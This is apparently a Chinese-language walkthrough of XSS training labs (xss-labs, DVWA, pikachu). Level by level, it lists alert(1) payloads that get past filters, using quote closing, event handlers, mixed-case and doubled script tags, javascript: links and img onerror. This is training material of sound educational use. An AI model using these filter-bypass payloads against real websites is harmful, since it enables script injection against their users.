xss-labs
第一关
在URL修改参数
第二关
查看源码看到搜索的值放到了input标签value中,使用>闭合
第三关
和第二关类似,但>无法闭合,查看响应发现>被转义,发现单引号没有被转义,使用单引号来闭合
构造代码如下
' onmouseover=javascript:alert(1) '
第四关
和第三关类似,不过这里是用双引号闭合,构造代码如下
" onmouseover=javascript:alert(1) "
第五关
发现on和script标签会被强制使用下划线分隔,使用伪协议构造代码如下
"><a href=javascript:alert(1)>
第六关
发现on、href和script标签都会被强制使用下划线分隔,使用大小写绕过,构造代码如下
"><sCRIpt>alert(1)</SCRIpt>
第七关
发现script标签被过滤掉,使用双写绕过,构造代码如下
"><sCRscriptIpt>alert(1)</SCRscriptIpt>
第八关
发现输入的值被放到了a标签的href值,但是script被强制使用下划线分隔,尝试双写大小写绕过也失败,尝试使用编码,构造代码如下再进行HTML实体编码
javascript:alert(1)
第九关
查看响应发现输入的单引号、双引号、>都被转义,javascript被强制使用下划线分隔,查看源码发现我们输入的内容必须有http:// ,并且尝试绕过javascript,构造代码如下
javascript:alert('http://1')
第十关
查看源码发现三个被隐藏的输入框,根据它们的name构造传值,让他们type改变,发现接收的是t_sort对应的输入框的值,同时参数中的<和>都会被删除。构造代码如下
?keyword=111&t_sort=" type="text" onclick="alert(1)
DVWA
XSS(Reflected)
low
构造代码如下
<script>alert(1)</script>
Medium
大小写绕过,构造代码如下
<sCRIpt>alert(1)</sCRIpt>
high
大小写绕过和双写绕过都失效,尝试使用img标签,构造代码如下
<img src=1 onerror=alert(1)>
XSS(DOM)
low
构造代码如下
?default=English<script>alert(1);</script>
Medium
查看源码发现script标签被过滤了,构造代码如下
?default=English </option></select> <img src=1 onerror=javascript:alert(1)>
high
查看源码发现加了白名单过滤,使用#注释掉代码,使内容不会发送到后端,但会被前端执行,构造代码如下
?default=English #<script>alert(1);</script>
XSS(Stored)
low
在message框输入,构造代码如下
<script>alert(1)</script>
Medium
查看源码发现name值只做了简单过滤,并且script被过滤了,但是允许标签,尝试大小写绕过,修改name的最大长度,构造代码如下
<sCRIpt>alert(1)</sCRIPt>
high
查看源码发现name值只做了简单过滤,并且script被过滤,大小写绕过和双写绕过都失效,尝试使用img标签,修改name的最大长度,构造代码如下
<img src=1 onerror=alert(1)>
pikachu
反射性xss(get)
输入发现输入框长度过短,修改长度,构造代码如下
<script>alert(1)</script>
反射性xss(post)
通过爆破获取密码登录,构造代码如下
<script>alert(1)</script>
存储型xss
构造代码如下
<script>alert(1)</script>
DOM型xss
查看源码发现输入值放到a标签里面,使用'闭合,构造代码如下
' onclick="alert(1)"
DOM型xss-x
和上关类似,构造代码如下
' onclick="alert(1)"
DOM型xss-x
和上关类似,构造代码如下
' onclick="alert(1)"